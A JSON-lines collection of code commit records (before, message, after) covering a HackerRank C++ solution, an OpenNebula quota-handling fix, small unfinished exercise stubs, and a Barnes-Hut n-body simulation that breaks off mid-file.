{"text":"<commit_before>#include <cmath>\n#include <cstdio>\n#include <vector>\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\n\nint main() {\n    \/* Enter your code here. Read input from STDIN. Print output to STDOUT *\/   \n    int h = 0,\n        v = 0,\n        k = 0, \n        T;\n    cin >> T ;\n    \n    while(T--)\n    {\n        cin >> k ;\n        h = ceil(k\/2.0f) ;  \n        v = floor(k\/2.0f) ; \n        cout << h*v  << endl ; \n        \n    }\n    \n    \n    return 0;\n}\n<commit_msg>Update hallowen-party.cpp<commit_after>\/\/problem URL : \n\/\/https:\/\/www.hackerrank.com\/challenges\/halloween-party\n\n\n#include <cmath>\n#include <cstdio>\n#include <vector>\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\n\nint main() {\n    \/* Enter your code here. Read input from STDIN. Print output to STDOUT *\/   \n    int h = 0,\n        v = 0,\n        k = 0, \n        T;\n    cin >> T ;\n    \n    while(T--)\n    {\n        cin >> k ;\n        h = ceil(k\/2.0f) ;  \n        v = floor(k\/2.0f) ; \n        cout << h*v  << endl ; \n        \n    }\n    \n    \n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -------------------------------------------------------------------------- *\/\n\/* Copyright 2002-2012, OpenNebula Project Leads (OpenNebula.org)             *\/\n\/*                                                                            *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); you may    *\/\n\/* not use this file except in compliance with the License. You may obtain    *\/\n\/* a copy of the License at                                                   *\/\n\/*                                                                            *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0                                 *\/\n\/*                                                                            *\/\n\/* Unless required by applicable law or agreed to in writing, software        *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,          *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   *\/\n\/* See the License for the specific language governing permissions and        *\/\n\/* limitations under the License.                                             *\/\n\/* -------------------------------------------------------------------------- *\/\n\n#include \"Quota.h\"\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nint Quota::get_quota(const string& id, VectorAttribute ** va)\n{\n    map<string, Attribute *>::iterator it;\n    VectorAttribute * q;\n\n    istringstream iss(id);\n    int           id_i;\n\n    *va = 0;\n\n    if ( id.empty() )\n    {\n        return -1;\n    }\n\n    iss >> id_i;\n\n    if (iss.fail() || !iss.eof())\n    {\n        return -1;\n    }\n\n    for ( it = attributes.begin(); it != attributes.end(); it++)\n    {\n        q = static_cast<VectorAttribute *>(it->second);\n\n        if (q->vector_value(\"ID\") == id)\n        {\n            *va = q;\n            return 0;\n        }\n    }\n\n    return 0;\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nvoid Quota::add_to_quota(VectorAttribute * attr, const string& va_name, int num)\n{\n    istringstream iss;\n    ostringstream oss;\n    float         total;\n\n    iss.str(attr->vector_value(va_name.c_str()));\n\n    iss >> total;\n\n    total += num;\n\n    oss << total;\n\n    attr->replace(va_name, oss.str());\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nint Quota::set(vector<Attribute*> * new_quotas, string& error)\n{\n    vector<Attribute *>::iterator  it;\n\n    VectorAttribute * iq;\n    VectorAttribute * tq;\n    string            id;\n\n    for ( it = new_quotas->begin(); it != new_quotas->end(); it++)\n    {\n        iq = dynamic_cast<VectorAttribute *>(*it);\n\n        if ( iq == 0 )\n        {\n            goto error_limits;\n        }\n\n        id = iq->vector_value(\"ID\");\n\n        if ( get_quota(id, &tq) == -1 )\n        {\n            goto error_limits;\n        }\n\n        if ( tq == 0 )\n        {\n            VectorAttribute * nq;\n\n            if ((nq = new_quota(iq)) == 0)\n            {\n                goto error_limits;\n            }\n\n            add(nq);\n        }\n        else\n        {\n            if (update_limits(tq, iq) != 0)\n            {\n                goto error_limits;\n            } \n        }\n    }\n    \n    return 0;\n\nerror_limits:\n    ostringstream oss;\n\n    oss <<  \"Negative limits or bad format in quota \" << template_name;\n\n    if ( iq != 0 )\n    {\n        string * quota_str = iq->marshall(\",\");\n\n        oss << \" = [ \" << *quota_str << \" ]\";\n\n        delete quota_str;\n    }\n     \n    error = oss.str();\n\n    return -1;        \n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nbool Quota::check_quota(const string& qid, \n                        map<string, int>& usage_req, \n                        string& error)\n{\n    VectorAttribute * q;\n    map<string, int>::iterator it;\n\n    bool check;\n    int  limit;\n    int  usage;\n\n    if ( get_quota(qid, &q) == -1 )\n    {\n        return false;\n    }\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/  Quota does not exist, create a new one\n    \/\/ -------------------------------------------------------------------------\n    if ( q == 0 )\n    {\n        map<string, string> values;\n    \n        for (int i=0; i < num_metrics; i++)\n        {\n            ostringstream usage_req_str;\n            string        metrics_used = metrics[i];\n\n            metrics_used += \"_USED\";\n\n            it = usage_req.find(metrics[i]);\n\n            if (it == usage_req.end())\n            {\n                usage_req_str << \"0\";\n            }\n            else\n            {\n                usage_req_str << it->second;    \n            }\n\n            values.insert(make_pair(metrics[i],  \"0\"));\n            values.insert(make_pair(metrics_used, usage_req_str.str()));\n        }\n        \n        if (!qid.empty())\n        {\n            values.insert(make_pair(\"ID\", qid));\n        }\n\n        add(new VectorAttribute(template_name, values));\n\n        return true;\n    }\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/  Check the quotas for each usage request\n    \/\/ -------------------------------------------------------------------------\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        it = usage_req.find(metrics[i]);\n\n        if (it == usage_req.end())\n        {\n            continue;\n        }\n\n        q->vector_value(metrics[i],   limit);\n        q->vector_value(metrics_used.c_str(), usage);\n\n        check = ( limit == 0 ) || ( ( usage + it->second ) <= limit );\n\n        if ( !check )\n        {\n            ostringstream oss;\n\n            oss << \"Limit (\" << limit << \") reached for \" << metrics[i]\n                << \" in quota \" << template_name;\n\n            if ( !qid.empty() ) \n            {\n                oss << \"with ID: \" << qid;\n            }\n\n            error = oss.str();\n\n            return false;\n        }\n    }\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/  Add resource usage to quotas\n    \/\/ -------------------------------------------------------------------------\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        it = usage_req.find(metrics[i]);\n\n        if (it == usage_req.end())\n        {\n            continue;\n        }\n\n        add_to_quota(q, metrics_used, it->second);\n    }\n\n    return true;\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nvoid Quota::del_quota(const string& qid, map<string, int>& usage_req)\n{\n    VectorAttribute * q;\n    map<string, int>::iterator it;\n\n    if ( get_quota(qid, &q) == -1)\n    {\n        return;\n    }\n\n    if ( q == 0 )\n    {\n        return;\n    } \n\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        it = usage_req.find(metrics[i]);\n\n        if (it == usage_req.end())\n        {\n            continue;\n        }\n\n        add_to_quota(q, metrics_used, -it->second);\n    }\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nint Quota::update_limits(VectorAttribute * quota, const VectorAttribute * va)\n{        \n    string limit;\n    int    limit_i;\n\n    for (int i=0; i < num_metrics; i++)\n    {\n        limit = va->vector_value_str(metrics[i], limit_i);\n\n        if ( limit_i < 0 )\n        {\n            return -1;\n        }\n        else if ( !limit.empty() )\n        {\n            quota->replace(metrics[i], limit);\n        }\n    }\n    \n    return 0;\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nVectorAttribute * Quota::new_quota(VectorAttribute * va)\n{\n    map<string,string> limits;\n\n    string limit;\n    int    limit_i;\n\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        limit = va->vector_value_str(metrics[i], limit_i);\n        \n        if ( limit_i < 0 )\n        {\n            return 0;\n        }\n        else if ( limit.empty() )\n        {\n            limit = \"0\";\n        }\n\n        limits.insert(make_pair(metrics[i], limit));\n        limits.insert(make_pair(metrics_used, \"0\"));\n    }\n\n    string id = va->vector_value(\"ID\");\n\n    if ( !id.empty() )\n    {\n        limits.insert(make_pair(\"ID\", id));\n    }\n\n    return new VectorAttribute(template_name,limits);\n}\n\n<commit_msg>feature #1288: Fix setting quotas with missing limits.<commit_after>\/* -------------------------------------------------------------------------- *\/\n\/* Copyright 2002-2012, OpenNebula Project Leads (OpenNebula.org)             *\/\n\/*                                                                            *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); you may    *\/\n\/* not use this file except in compliance with the License. You may obtain    *\/\n\/* a copy of the License at                                                   *\/\n\/*                                                                            *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0                                 *\/\n\/*                                                                            *\/\n\/* Unless required by applicable law or agreed to in writing, software        *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,          *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.   *\/\n\/* See the License for the specific language governing permissions and        *\/\n\/* limitations under the License.                                             *\/\n\/* -------------------------------------------------------------------------- *\/\n\n#include \"Quota.h\"\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nint Quota::get_quota(const string& id, VectorAttribute ** va)\n{\n    map<string, Attribute *>::iterator it;\n    VectorAttribute * q;\n\n    istringstream iss(id);\n    int           id_i;\n\n    *va = 0;\n\n    if ( id.empty() )\n    {\n        return -1;\n    }\n\n    iss >> id_i;\n\n    if (iss.fail() || !iss.eof())\n    {\n        return -1;\n    }\n\n    for ( it = attributes.begin(); it != attributes.end(); it++)\n    {\n        q = static_cast<VectorAttribute *>(it->second);\n\n        if (q->vector_value(\"ID\") == id)\n        {\n            *va = q;\n            return 0;\n        }\n    }\n\n    return 0;\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nvoid Quota::add_to_quota(VectorAttribute * attr, const string& va_name, int num)\n{\n    istringstream iss;\n    ostringstream oss;\n    float         total;\n\n    iss.str(attr->vector_value(va_name.c_str()));\n\n    iss >> total;\n\n    total += num;\n\n    oss << total;\n\n    attr->replace(va_name, oss.str());\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nint Quota::set(vector<Attribute*> * new_quotas, string& error)\n{\n    vector<Attribute *>::iterator  it;\n\n    VectorAttribute * iq;\n    VectorAttribute * tq;\n    string            id;\n\n    for ( it = new_quotas->begin(); it != new_quotas->end(); it++)\n    {\n        iq = dynamic_cast<VectorAttribute *>(*it);\n\n        if ( iq == 0 )\n        {\n            goto error_limits;\n        }\n\n        id = iq->vector_value(\"ID\");\n\n        if ( get_quota(id, &tq) == -1 )\n        {\n            goto error_limits;\n        }\n\n        if ( tq == 0 )\n        {\n            VectorAttribute * nq;\n\n            if ((nq = new_quota(iq)) == 0)\n            {\n                goto error_limits;\n            }\n\n            add(nq);\n        }\n        else\n        {\n            if (update_limits(tq, iq) != 0)\n            {\n                goto error_limits;\n            } \n        }\n    }\n    \n    return 0;\n\nerror_limits:\n    ostringstream oss;\n\n    oss <<  \"Negative limits or bad format in quota \" << template_name;\n\n    if ( iq != 0 )\n    {\n        string * quota_str = iq->marshall(\",\");\n\n        oss << \" = [ \" << *quota_str << \" ]\";\n\n        delete quota_str;\n    }\n     \n    error = oss.str();\n\n    return -1;        \n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nbool Quota::check_quota(const string& qid, \n                        map<string, int>& usage_req, \n                        string& error)\n{\n    VectorAttribute * q;\n    map<string, int>::iterator it;\n\n    bool check;\n    int  limit;\n    int  usage;\n\n    if ( get_quota(qid, &q) == -1 )\n    {\n        return false;\n    }\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/  Quota does not exist, create a new one\n    \/\/ -------------------------------------------------------------------------\n    if ( q == 0 )\n    {\n        map<string, string> values;\n    \n        for (int i=0; i < num_metrics; i++)\n        {\n            ostringstream usage_req_str;\n            string        metrics_used = metrics[i];\n\n            metrics_used += \"_USED\";\n\n            it = usage_req.find(metrics[i]);\n\n            if (it == usage_req.end())\n            {\n                usage_req_str << \"0\";\n            }\n            else\n            {\n                usage_req_str << it->second;    \n            }\n\n            values.insert(make_pair(metrics[i],  \"0\"));\n            values.insert(make_pair(metrics_used, usage_req_str.str()));\n        }\n        \n        if (!qid.empty())\n        {\n            values.insert(make_pair(\"ID\", qid));\n        }\n\n        add(new VectorAttribute(template_name, values));\n\n        return true;\n    }\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/  Check the quotas for each usage request\n    \/\/ -------------------------------------------------------------------------\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        it = usage_req.find(metrics[i]);\n\n        if (it == usage_req.end())\n        {\n            continue;\n        }\n\n        q->vector_value(metrics[i],   limit);\n        q->vector_value(metrics_used.c_str(), usage);\n\n        check = ( limit == 0 ) || ( ( usage + it->second ) <= limit );\n\n        if ( !check )\n        {\n            ostringstream oss;\n\n            oss << \"Limit of \" << limit << \" reached for \" << metrics[i]\n                << \" quota in \" << template_name;\n\n            if ( !qid.empty() ) \n            {\n                oss << \" with ID: \" << qid;\n            }\n\n            error = oss.str();\n\n            return false;\n        }\n    }\n\n    \/\/ -------------------------------------------------------------------------\n    \/\/  Add resource usage to quotas\n    \/\/ -------------------------------------------------------------------------\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        it = usage_req.find(metrics[i]);\n\n        if (it == usage_req.end())\n        {\n            continue;\n        }\n\n        add_to_quota(q, metrics_used, it->second);\n    }\n\n    return true;\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nvoid Quota::del_quota(const string& qid, map<string, int>& usage_req)\n{\n    VectorAttribute * q;\n    map<string, int>::iterator it;\n\n    if ( get_quota(qid, &q) == -1)\n    {\n        return;\n    }\n\n    if ( q == 0 )\n    {\n        return;\n    } \n\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        it = usage_req.find(metrics[i]);\n\n        if (it == usage_req.end())\n        {\n            continue;\n        }\n\n        add_to_quota(q, metrics_used, -it->second);\n    }\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nint Quota::update_limits(VectorAttribute * quota, const VectorAttribute * va)\n{        \n    string limit;\n    int    limit_i;\n\n    for (int i=0; i < num_metrics; i++)\n    {\n        limit = va->vector_value_str(metrics[i], limit_i);\n\n        if ( limit_i < 0 ) \/\/No quota, NaN or negative\n        {\n            return -1;\n        }\n        else\n        {\n            quota->replace(metrics[i], limit);\n        }\n    }\n    \n    return 0;\n}\n\n\/* -------------------------------------------------------------------------- *\/\n\/* -------------------------------------------------------------------------- *\/\n\nVectorAttribute * Quota::new_quota(VectorAttribute * va)\n{\n    map<string,string> limits;\n\n    string limit;\n    int    limit_i;\n\n    for (int i=0; i < num_metrics; i++)\n    {\n        string metrics_used = metrics[i];\n            \n        metrics_used += \"_USED\";\n\n        limit = va->vector_value_str(metrics[i], limit_i);\n        \n        if ( limit_i < 0 ) \/\/No quota, NaN or negative\n        {\n            limit = \"0\";\n        }\n\n        limits.insert(make_pair(metrics[i], limit));\n        limits.insert(make_pair(metrics_used, \"0\"));\n    }\n\n    string id = va->vector_value(\"ID\");\n\n    if ( !id.empty() )\n    {\n        limits.insert(make_pair(\"ID\", id));\n    }\n\n    return new VectorAttribute(template_name,limits);\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Handle osl_createThread failure<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n#include <algorithm>\n#include <string>\n#include <map>\n#include <cstdlib>\nusing namespace std;\n\nmap <string ,int> Dict;\nFILE *fp;\n\/\/debug\nfp=stdio;\nstring getword(){\n\tchar ch;\n\tstring s;\n\twhile((ch=getc(fp))!=EOF){\n\t\tif(ch=='-'){\n\n\t\t\tif(getc(fp)=='\\n'){\n\t\t\t\tcontinue;\n\t\t\t}else{\n\t\t\t\tfseek(fp,ftell(fp)-1,SEEK_CUR);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif(ch>'A'&&ch<'Z' || ch>'a'&&ch<'z')\n\t\t\ts.push_back(ch);\n\t\telse\n\t\t\tbreak;\n\t}\n}\nint main(int argc, char const *argv[])\n{\n\t\/* code *\/\n\treturn 0;\n}\n<commit_msg>update uoj1109<commit_after>#include <cstdio>\n#include <algorithm>\n#include <string>\n#include <map>\n#include <cstdlib>\nusing namespace std;\n\nmap <string ,int> Dict;\nFILE *fp;\n\/\/debug\nfp=stdin;\nstring getword(){\n\tchar ch;\n\tstring s;\n\twhile((ch=getc(fp))!=EOF){\n\t\tif(ch=='-'){\n\n\t\t\tif(getc(fp)=='\\n'){\n\t\t\t\tcontinue;\n\t\t\t}else{\n\t\t\t\tfseek(fp,ftell(fp)-1,SEEK_CUR);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif(ch>'A'&&ch<'Z' || ch>'a'&&ch<'z')\n\t\t\ts.push_back(ch);\n\t\telse\n\t\t\tbreak;\n\t}\n}\nint main(int argc, char const *argv[])\n{\n\t\/* code *\/\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n#include <algorithm>\n#include <string>\n#include <map>\nusing namespace std;\n\nmap <string ,int> IDcache;\nint main(int argc, char const *argv[])\n{\n\t\/* code *\/\n\treturn 0;\n}\n<commit_msg>update uoj1109<commit_after>#include <cstdio>\n#include <algorithm>\n#include <string>\n#include <map>\n#include <cfile>\nusing namespace std;\n\nmap <string ,int> Dict;\n\nvoid getword(string &s){\n\n}\nint main(int argc, char const *argv[])\n{\n\t\/* code *\/\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\n#include <cstdlib>\n#include <cmath>\n#include <iostream>\n#include <fstream>\n#include <sys\/time.h>\n\n#ifdef USE_MPI\n# include <mpi.h>\n#endif\n\n#include \"tapas.h\"\n\n\/\/#define DIM (3)\nconst constexpr int DIM = 3;\ntypedef double real_t;\n\nstruct float4 {\n  real_t x;\n  real_t y;\n  real_t z;\n  real_t w;\n};\n\n#ifdef NB\nconst int N = NB;\n#else\nconst int N = 1 << 10;\n#endif\nconst real_t OPS = 20. * N * N * 1e-9;\nconst real_t EPS2 = 1e-6;\n\ntypedef tapas::BodyInfo<float4, 0> BodyInfo;\n\n#ifdef USE_MPI\n#include \"tapas\/hot.h\"\ntypedef tapas::Tapas<DIM, real_t,\n                     BodyInfo, \/\/ BT\n                     float4,   \/\/ Cell attr\n                     float4,   \/\/ body attr\n                     tapas::HOT<DIM, tapas::sfc::Morton>,\n                     tapas::threading::Default> Tapas;\n#else\n#include \"tapas\/single_node_hot.h\"\ntypedef tapas::Tapas<DIM, real_t, BodyInfo,\n                     float4,\n                     float4,\n                     tapas::SingleNodeHOT<DIM, tapas::sfc::Morton>,\n                     tapas::threading::Default> Tapas;\n#endif\n\ndouble get_time() {\n  struct timeval tv;\n  gettimeofday(&tv,NULL);\n  return double(tv.tv_sec+tv.tv_usec*1e-6);\n}\n\n\nvoid P2P(float4 *target, float4 *source, int ni, int nj, float eps2) {\n#pragma omp parallel for\n  for (int i=0; i<ni; i++) {\n    real_t ax = 0;\n    real_t ay = 0;\n    real_t az = 0;\n    real_t phi = 0;\n    real_t xi = source[i].x;\n    real_t yi = source[i].y;\n    real_t zi = source[i].z;\n    for (int j=0; j<nj; j++) {\n      real_t dx = source[j].x - xi;\n      real_t dy = source[j].y - yi;\n      real_t dz = source[j].z - zi;\n      real_t R2 = dx * dx + dy * dy + dz * dz + eps2;\n      real_t invR = 1.0f \/ std::sqrt(R2);\n      real_t invR3 = source[j].w * invR * invR * invR;\n      phi += source[j].w * invR;\n      ax += dx * invR3;\n      ay += dy * invR3;\n      az += dz * invR3;\n    }\n    target[i].w = phi;\n    target[i].x = ax;\n    target[i].y = ay;\n    target[i].z = az;\n  }\n}\n\nstatic real_t distR2(const float4 &p, const float4 &q) {\n  real_t dx = q.x - p.x;\n  real_t dy = q.y - p.y;\n  real_t dz = q.z - p.z;\n  return dx * dx + dy * dy + dz * dz;\n}\n\n\nstatic void ComputeForce(Tapas::BodyIterator &p1, \n                         float4 approx, real_t eps2) {\n  real_t dx = approx.x - p1->x;\n  real_t dy = approx.y - p1->y;\n  real_t dz = approx.z - p1->z;\n  real_t R2 = dx * dx + dy * dy + dz * dz + eps2;\n  real_t invR = 1.0 \/ std::sqrt(R2);\n  real_t invR3 = invR * invR * invR;\n  p1.attr().x += dx * invR3 * approx.w;\n  p1.attr().y += dy * invR3 * approx.w;\n  p1.attr().z += dz * invR3 * approx.w;\n  p1.attr().w += invR * approx.w;\n}\n\nstatic void approximate(Tapas::Cell &c) {\n#ifdef DUMP\n  std::cerr << \"Approximate: \" << c.key() << std::endl;\n#endif\n\n  if (c.nb() == 0) {\n    c.attr().w = 0.0;\n#if 0\n    c.attr().x = 0.0;\n    c.attr().y = 0.0;\n    c.attr().z = 0.0;\n#endif\n\n#ifdef DUMP\n    std::cerr << \"Empty\" << std::endl;\n#endif\n\n  } else if (c.nb() == 1) {\n    c.attr() = c.body(0);\n#ifdef DUMP\n    std::cerr << \"One particle\" << std::endl;\n#endif\n  } else {\n    tapas::Map(approximate, c.subcells());\n    float4 center = {0.0, 0.0, 0.0, 0.0};\n    for (int i = 0; i < c.nsubcells(); ++i) {\n      Tapas::Cell &sc = c.subcell(i);\n      center.w += sc.attr().w;\n      center.x += sc.attr().x * sc.attr().w;\n      center.y += sc.attr().y * sc.attr().w;\n      center.z += sc.attr().z * sc.attr().w;\n    }\n    center.x \/= center.w;\n    center.y \/= center.w;\n    center.z \/= center.w;\n    c.attr() = center;\n  }\n}\n\nstatic void interact(Tapas::Cell &c1, Tapas::Cell &c2, real_t theta) {\n  {\n    Stderr e(\"interact\");\n    e.out() << \"Head.\" << std::endl;\n    e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n    e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n  }\n  if (c1.nb() == 0 || c2.nb() == 0) {\n    return;\n  } else if (!c1.IsLeaf()) {\n    tapas::Map(interact, tapas::Product(c1.subcells(), c2), theta);\n  } else if (c2.IsLeaf()) {\n    {\n      Stderr e(\"interact\");\n      e.out() << \"Leaf\/leaf.\" << std::endl;\n      e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n      e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n    }\n    \n    \/\/ c1 and c2 have only one particle each. Calculate direct force.\n    \/\/tapas::Map(ComputeForce, tapas::Product(c1.particles(),\n    \/\/c2.particles()));\n    tapas::Map(ComputeForce, c1.bodies(), c2.body(0), EPS2);\n  } else {\n    \/\/ use apploximation\n    const float4 &p1 = c1.body(0);\n    real_t d = std::sqrt(distR2(c2.attr(), p1));\n    real_t s = c2.width(0);\n    \n    if ((s\/ d) < theta) {\n      {\n        Stderr e(\"interact\");\n        e.out() << \"Leaf\/branch. far enough. approximate.\" << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n      }\n      tapas::Map(ComputeForce, c1.bodies(), c2.attr(), EPS2);\n    } else {\n      {\n        Stderr e(\"interact\");\n        e.out() << \"Leaf\/branch. close. recursive.\" << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n      }\n      tapas::Map(interact, tapas::Product(c1, c2.subcells()), theta);\n    }\n  }\n}\n\ntypedef tapas::Vec<DIM, real_t> Vec3;\n\nfloat4 *calc(float4 *p, size_t np) {\n  \/\/ PartitionBSP is a function that partitions the given set of\n  \/\/ particles by the binary space partitioning. The result is a\n  \/\/ octree for 3D particles and a quadtree for 2D particles.\n  Tapas::Region r(Vec3(0.0, 0.0, 0.0), Vec3(1.0, 1.0, 1.0));\n  Tapas::Cell *root = Tapas::Partition(p, np, r, 1);\n\n\n  \/\/ FIXME: this line is commented out for debugging.\n  \/\/tapas::Map(approximate, *root); \/\/ or, simply: approximate(*root);\n  \n  real_t theta = 0.5;\n  tapas::Map(interact, tapas::Product(*root, *root), theta);\n  float4 *out = root->body_attrs();\n  return out;\n}\n\nvoid setRandSeed(int rank, int size) {\n  int seed;\n  if (rank == 0) {\n    if (getenv(\"TAPAS_SEED\")) {\n      seed = atoi(getenv(\"TAPAS_SEED\"));\n      std::cerr << \"Seed = \" << seed << std::endl;\n    } else {\n      seed = 0;\n    }\n  }\n\n#ifdef USE_MPI\n  MPI_Bcast(&seed, 1, MPI_INT, 0, MPI_COMM_WORLD);\n#endif\n\n  srand48(seed);\n}\n\nint main(int argc, char **argv) {\n  int rank = 0; \/\/ MPI rank\n  int size = 1; \/\/ MPI size\n  \n#ifdef USE_MPI\n  int provided, required = MPI_THREAD_MULTIPLE;\n  MPI_Init_thread(&argc, &argv, required, &provided);\n  assert(provided >= required);\n  MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n  MPI_Comm_size(MPI_COMM_WORLD, &size);\n#endif\n\n  \/\/ ALLOCATE\n  \/\/ NOTE: Total number of particles is N * size (weak scaling)\n  int N_total = N * size;\n  float4 *sourceHost = new float4 [N];\n  float4 *targetHost = new float4 [N];\n\n  setRandSeed(rank, size);\n  \n  for (int i = 0; i < N_total; i++) {\n    double x = drand48();\n    double y = drand48();\n    double z = drand48();\n    double w = drand48() \/ N_total;\n    \n    if (N*rank <= i && i < N*(rank+1)) {\n      int j = i % N;\n      sourceHost[j].x = x;\n      sourceHost[j].y = y;\n      sourceHost[j].z = z;\n      sourceHost[j].w = w;\n    }\n  }\n\n  if (rank == 0) {\n    std::cout << std::scientific << \"N      : \" << N_total\n              << \" (\" << N << \" per proc)\"\n              << std::endl;\n  }\n\n  float4 *targetTapas = calc(sourceHost, N);\n\n  double tic = get_time();\n  P2P(targetHost,sourceHost,N,N,EPS2);\n  double toc = get_time();\n  \n#ifdef DUMP\n  std::ofstream ref_out(\"bh_ref.txt\");\n  std::ofstream tapas_out(\"bh_tapas.txt\");\n#endif\n\n  std::cout << std::scientific << \"No SSE : \" << toc-tic << \" s : \" << OPS \/ (toc-tic) << \" GFlops\" << std::endl;\n\n  \/\/ COMPARE RESULTS\n  if (size == 1) {\n    real_t pd = 0, pn = 0, fd = 0, fn = 0;\n    for( int i=0; i<N; i++ ) {\n#ifdef DUMP\n      ref_out << targetHost[i].x << \" \" << targetHost[i].y << \" \"\n              << targetHost[i].z << \" \" << targetHost[i].w << std::endl;\n      tapas_out << targetTapas[i].x << \" \" << targetTapas[i].y << \" \"\n                << targetTapas[i].z << \" \" << targetTapas[i].w << std::endl;\n#endif\n      targetHost[i].w -= sourceHost[i].w \/ sqrtf(EPS2);\n      targetTapas[i].w -= sourceHost[i].w \/ sqrtf(EPS2);\n      pd += (targetHost[i].w - targetTapas[i].w) * (targetHost[i].w - targetTapas[i].w);\n      pn += targetHost[i].w * targetHost[i].w;\n      fd += (targetHost[i].x - targetTapas[i].x) * (targetHost[i].x - targetTapas[i].x)\n            + (targetHost[i].y - targetTapas[i].y) * (targetHost[i].y - targetTapas[i].y)\n            + (targetHost[i].z - targetTapas[i].z) * (targetHost[i].z - targetTapas[i].z);\n      fn += targetHost[i].x * targetHost[i].x + targetHost[i].y * targetHost[i].y + targetHost[i].z * targetHost[i].z;\n    }\n    std::cout << std::scientific << \"P ERR  : \" << sqrtf(pd\/pn) << std::endl;\n    std::cout << std::scientific << \"F ERR  : \" << sqrtf(fd\/fn) << std::endl;\n  } else {\n    std::cout << \"Skipping result check\" << std::endl;\n  }\n\n\/\/ DEALLOCATE\n  delete[] sourceHost;\n  delete[] targetHost;\n  \/\/delete[] targetTapas;\n\n#ifdef USE_MPI\n  MPI_Finalize();\n#endif\n}\n<commit_msg>Refactoring of barnes-hut code:  - added command line options to control data size  - commented out debug dump for release build<commit_after>#include <cstdio>\n#include <cstdlib>\n#include <cmath>\n#include <iostream>\n#include <fstream>\n#include <sys\/time.h>\n\n#ifdef USE_MPI\n# include <mpi.h>\n#endif\n\n#include \"tapas.h\"\n\n\/\/#define DIM (3)\ntypedef double real_t;\n\nconst constexpr int DIM = 3;\nconst real_t EPS2 = 1e-6;\n\nstruct float4 {\n  real_t x;\n  real_t y;\n  real_t z;\n  real_t w;\n};\n\ntypedef tapas::BodyInfo<float4, 0> BodyInfo;\n\n#ifdef USE_MPI\n#include \"tapas\/hot.h\"\ntypedef tapas::Tapas<DIM, real_t,\n                     BodyInfo, \/\/ BT\n                     float4,   \/\/ Cell attr\n                     float4,   \/\/ body attr\n                     tapas::HOT<DIM, tapas::sfc::Morton>,\n                     tapas::threading::Default> Tapas;\n#else\n#include \"tapas\/single_node_hot.h\"\ntypedef tapas::Tapas<DIM, real_t, BodyInfo,\n                     float4,\n                     float4,\n                     tapas::SingleNodeHOT<DIM, 